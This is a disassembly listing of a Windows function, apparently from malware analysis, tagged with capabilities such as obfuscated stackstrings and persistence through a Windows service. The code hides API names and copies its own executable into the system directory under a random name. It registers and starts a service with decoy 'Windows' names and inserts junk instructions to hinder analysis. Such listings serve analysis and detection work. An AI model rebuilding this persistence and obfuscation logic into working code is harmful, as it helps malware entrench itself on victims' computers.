Function at 0x405350
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
sub esp, 0x10
call fcn.00405af0
test eax, eax
je 0x40531f
lea eax, [esp]
mov dword [esp], str.Windowssdfsfwaewsds
push eax
mov dword [esp + 8], 0x404d50
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
add esp, 0x10
ret 0x10
push str.This_is_Windowswerwfdgtrhgf
push str.Windows_Testertfetgruyhdf
push str.Windowssdfsfwaewsds
call 0x405350
mov eax, dword [0x407518]
add esp, 0xc
test eax, eax
je 0x405317
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061b0
push 0x401360
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4f8
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x454]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
mov byte [ebp - 0x350], 0x47
mov cl, 0x65
mov byte [ebp - 0x34f], cl
mov al, 0x74
mov byte [ebp - 0x34e], al
mov byte [ebp - 0x34d], 0x53
mov bl, 0x79
mov byte [ebp - 0x34c], bl
mov byte [ebp - 0x34b], 0x73
mov byte [ebp - 0x34a], al
mov byte [ebp - 0x349], cl
mov byte [ebp - 0x348], 0x6d
mov byte [ebp - 0x347], 0x44
mov byte [ebp - 0x346], 0x69
mov dl, 0x72
mov byte [ebp - 0x345], dl
mov byte [ebp - 0x344], cl
mov byte [ebp - 0x343], 0x63
mov byte [ebp - 0x342], al
mov byte [ebp - 0x341], 0x6f
mov byte [ebp - 0x340], dl
mov byte [ebp - 0x33f], bl
mov byte [ebp - 0x33e], 0x41
mov byte [ebp - 0x33d], 0
mov byte [ebp - 0x334], 0x4b
mov al, 0x45
mov byte [ebp - 0x333], al
mov byte [ebp - 0x332], 0x52
mov byte [ebp - 0x331], 0x4e
mov byte [ebp - 0x330], al
mov byte [ebp - 0x32f], 0x4c
mov byte [ebp - 0x32e], 0x33
mov byte [ebp - 0x32d], 0x32
mov byte [ebp - 0x32c], 0x2e
mov byte [ebp - 0x32b], 0x64
mov al, 0x6c
mov byte [ebp - 0x32a], al
mov byte [ebp - 0x329], al
mov byte [ebp - 0x328], 0
lea ecx, [ebp - 0x350]
push ecx
lea edx, [ebp - 0x334]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
lea ecx, [ebp - 0x324]
push ecx
call eax
lea edi, [ebp - 0x324]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea edx, [ebp - 0x454]
push edx
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x4057e4
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
mov al, 0x25
mov byte [ebp - 0x474], al
mov cl, 0x63
mov byte [ebp - 0x473], cl
mov byte [ebp - 0x472], al
mov byte [ebp - 0x471], cl
mov byte [ebp - 0x470], al
mov byte [ebp - 0x46f], cl
mov byte [ebp - 0x46e], al
mov byte [ebp - 0x46d], cl
mov byte [ebp - 0x46c], al
mov byte [ebp - 0x46b], cl
mov byte [ebp - 0x46a], al
mov byte [ebp - 0x469], cl
mov byte [ebp - 0x468], 0x2e
mov byte [ebp - 0x467], 0x65
mov byte [ebp - 0x466], 0x78
mov byte [ebp - 0x465], 0x65
xor ebx, ebx
mov byte [ebp - 0x464], bl
push ebx
call esi
add esp, 4
mov byte [ebp - 0x49c], 0x77
mov byte [ebp - 0x49b], 0x73
mov byte [ebp - 0x49a], 0x70
mov byte [ebp - 0x499], 0x72
mov byte [ebp - 0x498], 0x69
mov byte [ebp - 0x497], 0x6e
mov byte [ebp - 0x496], 0x74
mov byte [ebp - 0x495], 0x66
mov byte [ebp - 0x494], 0x41
mov byte [ebp - 0x493], bl
mov byte [ebp - 0x48c], 0x55
mov byte [ebp - 0x48b], 0x53
mov byte [ebp - 0x48a], 0x45
mov byte [ebp - 0x489], 0x52
mov byte [ebp - 0x488], 0x33
mov byte [ebp - 0x487], 0x32
mov byte [ebp - 0x486], 0x2e
mov byte [ebp - 0x485], 0x64
mov byte [ebp - 0x484], 0x6c
mov byte [ebp - 0x483], 0x6c
mov byte [ebp - 0x482], bl
lea ecx, [ebp - 0x49c]
push ecx
lea edx, [ebp - 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x1a
call fcn.00404cb0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00404cb0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00404cb0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00404cb0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00404cb0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00404cb0
add esp, 4
add eax, 0x61
push eax
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x4ec]
push ecx
call esi
lea edx, [ebp - 0x324]
mov edi, 0x4074d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 0x24
mov byte [ebp - 0x480], 0x43
mov byte [ebp - 0x47f], 0x6f
mov byte [ebp - 0x47e], 0x70
mov byte [ebp - 0x47d], 0x79
mov byte [ebp - 0x47c], 0x46
mov byte [ebp - 0x47b], 0x69
mov byte [ebp - 0x47a], 0x6c
mov byte [ebp - 0x479], 0x65
mov byte [ebp - 0x478], 0x41
mov byte [ebp - 0x477], bl
lea eax, [ebp - 0x480]
push eax
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
lea edi, [ebp - 0x4ec]
lea ebx, [ebp - 0x324]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [ebp - 0x324]
push ecx
lea eax, [ebp - 0x454]
push eax
call edx
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x454]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x324]
lea edx, [ebp - 0x454]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [0x407518], 1
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x33c], edi
mov dword [ebp - 0x45c], edi
mov dword [ebp - 0x458], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x458], esi
cmp esi, edi
je 0x405a9f
push edi
push edi
push edi
push edi
push edi
lea edx, [ebp - 0x454]
push edx
push edi
push 2
push 0x110
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
mov dword [ebp - 0x45c], ebx
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov esi, eax
mov dword [ebp - 0x4f8], esi
mov dword [ebp - 0x4f0], str.Windows_Testertfetgruyhdf
lea edx, [ebp - 0x4f0]
push edx
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov dword [ebp - 0x4fc], str.SYSTEMCurrentCont
mov edi, str.rolSetServices_
mov dword [ebp - 0x500], edi
mov dword [ebp - 0x4f4], 0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
mov edi, str.SYSTEMCurrentCont
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edx, eax
mov dword [ebp - 0x504], edx
mov dword [ebp - 0x4f4], edx
mov edi, str.SYSTEMCurrentCont
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.rolSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
or ecx, 0xffffffff
mov edx, eax
xor eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test ebx, ebx
jne 0x405983
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x405983
push ebx
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x458]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x45c], eax
test eax, eax
je 0x405a99
push ebx
push ebx
mov edx, eax
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
push 0
push 0
mov eax, dword [ebp - 0x45c]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x405a99
lea edx, [ebp - 0x11c]
mov edi, dword [ebp - 0x504]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x33c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [ebp - 0x458]
mov dword [ebp - 4], 0xffffffff
call fcn.00405ac2
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret